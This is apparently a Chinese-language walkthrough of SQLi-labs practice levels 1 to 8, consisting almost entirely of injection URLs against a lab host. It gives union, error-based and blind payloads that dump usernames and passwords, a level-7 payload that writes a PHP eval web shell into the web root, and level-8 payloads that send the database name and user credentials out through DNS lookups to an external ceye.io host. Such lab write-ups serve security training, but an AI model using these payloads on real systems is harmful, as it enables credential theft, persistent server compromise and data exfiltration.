sqli（1-8）

第一关

判断数据类型      http://192.168.37.1/sqli/Less-1/?id=1 --+        字符型      '

判断回显数量      http://192.168.37.1/sqli/Less-1/?id=1' order by 3--+       3个

判断回显位置     http://192.168.37.1/sqli/Less-1/?id=-1' union select 1,2,3--+

判断数据库名称   http://192.168.37.1/sqli/Less-1/?id=-1' union select 1,2,database();--+

查找数据库的表和列   

 http://192.168.37.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+

http://192.168.37.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+

查找数据   

 http://192.168.37.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users;--+

第二关

一， http://192.168.37.1/sqli/Less-2/?id=1                    数字型

二    http://192.168.37.1/sqli/Less-2/?id=1 order by 3--+

三     http://192.168.37.1/sqli/Less-2/?id=-1 union select 1,2,3--+

四   http://192.168.37.1/sqli/Less-2/?id=-1 union select 1,2,database();--+

五   http://192.168.37.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+

http://192.168.37.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+

六    http://192.168.37.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,password) from users --+

第三关

一   http://192.168.37.1/sqli/Less-3/?id=1') --+   字符型 并且闭合方式为'）

二  http://192.168.37.1/sqli/Less-3/?id=1') order by 3--+

三   http://192.168.37.1/sqli/Less-3/?id=-1') union select 1,2,3--+

四   http://192.168.37.1/sqli/Less-3/?id=-1') union select 1,2,database();--+

五   http://192.168.37.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+

http://192.168.37.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+

六   http://192.168.37.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,password) from users;--+

第四关

一  http://192.168.37.1/sqli/Less-4/?id=1") and 1=2; --+   字符型  闭合方式为")

二 http://192.168.37.1/sqli/Less-4/?id=1") order by 3 --+

三   http://192.168.37.1/sqli/Less-4/?id=-1") union select 1,2,3 --+

四   http://192.168.37.1/sqli/Less-4/?id=-1") union select 1,2,database() --+

五   http://192.168.37.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+

http://192.168.37.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database();--+

六   http://192.168.37.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(password,username) from users;--+

第五关（无回显）

一   http://192.168.37.1/sqli/Less-5/?id=1' and 1=2 --+  字符型 闭合方式 ' 

二  http://192.168.37.1/sqli/Less-5/?id=1' order by 3 --+

三  http://192.168.37.1/sqli/Less-5/?id=-1' union select 1,2,extractvalue("doc",concat("~",(select database()))) --+   因为无回显位置，所以需要进行报错注入

四  http://192.168.37.1/sqli/Less-5/?id=-1' union select 1,2,extractvalue("doc",concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

http://192.168.37.1/sqli/Less-5/?id=-1' union select 1,2,extractvalue("doc",concat("~",(select group_concat(column_name) from information_schema.columns where table_schema=database()))) --+

五  http://192.168.37.1/sqli/Less-5/?id=1' union select 1,2,extractvalue("doc",concat("~",substring((select group_concat(username,password) from users),15,25))) --+   

 http://192.168.37.1/sqli/Less-5/?id=1' union select 1,2,updatexml("doc",concat("~",substring((select group_concat(username,password) from users),15,25)),"aaa") --+

因为数据在一行中不能全部显示，所以使用substring函数查询

报错函数extractvalue ，updatexml，floor

第六关

一  http://192.168.37.1/sqli/Less-6/?id=1" and 1=2 --+ 字符型 闭合方式 "

二  http://192.168.37.1/sqli/Less-6/?id=1" order by 3 --+

三   http://192.168.37.1/sqli/Less-6/?id=1" union select 1,2,extractvalue("doc",concat("~",(select database()))) --+

四   http://192.168.37.1/sqli/Less-6/?id=1" union select 1,2,extractvalue("doc",concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

http://192.168.37.1/sqli/Less-6/?id=1" union select 1,2,extractvalue("doc",concat("~",(select group_concat(column_name) from information_schema.columns where table_schema=database()))) --+

五   http://192.168.37.1/sqli/Less-6/?id=1" union select 1,2,extractvalue("doc",concat("~",substring((select group_concat(username,password) from users),5,25))) --+

第七关  

一  http://192.168.37.1/sqli/Less-7/?id=1')) and 1=2--+ 字符型  闭合方式 '))

二   http://192.168.37.1/sqli/Less-7/?id=1')) order by 3--+

三  http://192.168.37.1/sqli/Less-7/?id=1')) union select 1,2,extractvalue("doc",concat("~",(select database())))--+

四  http://192.168.37.1/sqli/Less-7/?id=1')) union select 1,2,extractvalue("doc",concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

http://192.168.37.1/sqli/Less-7/?id=1')) union select 1,2,extractvalue("doc",concat("~",(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+

五  http://192.168.37.1/sqli/Less-7/?id=1')) union select 1,2,extractvalue("doc",concat("~",substring((select group_concat(username,password) from users),15,25))) --+

或者使用工具蚁剑连接

http://192.168.37.1/sqli/Less-7/?id=-1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "E:\wang_an\huan_jing\Xiaopimianban\phpstudy_pro\WWW\benben.php" --+

通过一句话木马连接拿到数据

第八关

一  http://192.168.37.1/sqli/Less-8/?id=1' and 1=2 --+ 字符型  闭合方式 '

二http://192.168.37.1/sqli/Less-8/?id=1' and (select length(database())=8) --+判断数据库名称长度

三  http://192.168.37.1/sqli/Less-8/?id=1' and ascii(substring(database(),1,1))=115 --+通过acs码猜测数据库的名称，最终得到名称security（也可通过python代码实现）

四 http://192.168.37.1/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))=6 --+ 判断表名长度

http://192.168.37.1/sqli/Less-8/?id=1' and load_file(concat("\\\\",(select database()),".zclf47.ceye.io\\abcd")); --+

http://192.168.37.1/sqli/Less-8/?id=1' and load_file(concat("\\\\",(select username from users limit 2,1),".zclf47.ceye.io")); --+

http://192.168.37.1/sqli/Less-8/?id=1' and load_file(concat("\\\\",(select password from users limit 2,1),".zclf47.ceye.io")); --+